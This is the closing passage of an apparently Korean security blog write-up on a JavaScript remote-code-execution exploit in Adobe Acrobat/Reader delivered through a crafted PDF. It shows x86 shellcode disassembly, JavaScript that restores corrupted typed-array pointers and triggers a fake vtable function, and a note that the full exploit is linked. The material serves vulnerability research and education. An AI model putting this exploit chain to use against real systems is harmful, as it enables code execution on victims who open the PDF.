200004c2 83ec30         sub     esp, 30h
200004c5 90             nop     
200004c6 90             nop     
200004c7 90             nop     
200004c8 8b7068         mov     esi, dword ptr [eax+68h]
200004cb 90             nop     
200004cc 53             push    ebx
200004cd bb40000020     mov     ebx, 20000040h
200004d2 8b506c         mov     edx, dword ptr [eax+6Ch]
200004d5 c7430ce8ff0000 mov     dword ptr [ebx+0Ch], 0FFE8h
200004dc c74220e8ff0000 mov     dword ptr [edx+20h], 0FFE8h
200004e3 90             nop     
200004e4 895310         mov     dword ptr [ebx+10h], edx
200004e7 8b5070         mov     edx, dword ptr [eax+70h]
200004ea 8913           mov     dword ptr [ebx], edx
200004ec 8b5074         mov     edx, dword ptr [eax+74h]
200004ef 895304         mov     dword ptr [ebx+4], edx
200004f2 31d2           xor     edx, edx
200004f4 5b             pop     ebx
200004f5 90             nop     
200004f6 90             nop     
200004f7 90             nop     
200004f8 ffe6           jmp     esi

ROP 페이로드와 Shellcode의 실행은 아래의 코드를 통해 f0의 Fake vtable의 defaultValue함수에 해당하는 sub_20EFAA60를 실행하는 것으로 이루어집니다. 또한 크래시 등 의도치 않은 동작을 방지하기 위해 변조한 targetStrtargetDV를 원래의 주소로 복원합니다.

corruptedTypedArr[arrStart + 6] = originalTargetStrAddr;
//corruptedTypedArr[FAKE_DV_START+20] = originalDVBackingStore;
corruptedTypedArr[arrStart + 8] = originalTargetDVAddr;

var x = f0.defaultValue;

전체 익스플로잇 코드는 Reference에서 확인할 수 있고 exploit.pdf에는 해당 JavaScript 코드가 임베드되어 있어 취약한 버전의 Acrobat이나 Acrobat Reader로 열 경우 위 과정을 통해 RCE가 이루어집니다.

드디어!… 익스플로잇이 끝났습니다… 자바스크립트는 정말 쉽지 않네요… 시연 데모까지만 보여드리고 마치도록하죠!

Fini

자바스크립트와 관련된 취약점은 처음이었는데 정말 쉽지 않네요… 이런 취약점을 마구 찾는 사람들은 대체 뭐하는 사람들일까 싶습니다 ㅋㅋㅋㅋㅋ 참고할만한 좋은 레퍼런스가 있어서 쉽게?… 분석할 수 있었는데 패치 분석 내용은 없어서 직접 분석해보면서 재밌기도 했고요 시간만 있다면 앞으로도 이런 글 많이 써보도록 하겠습니다!

Reference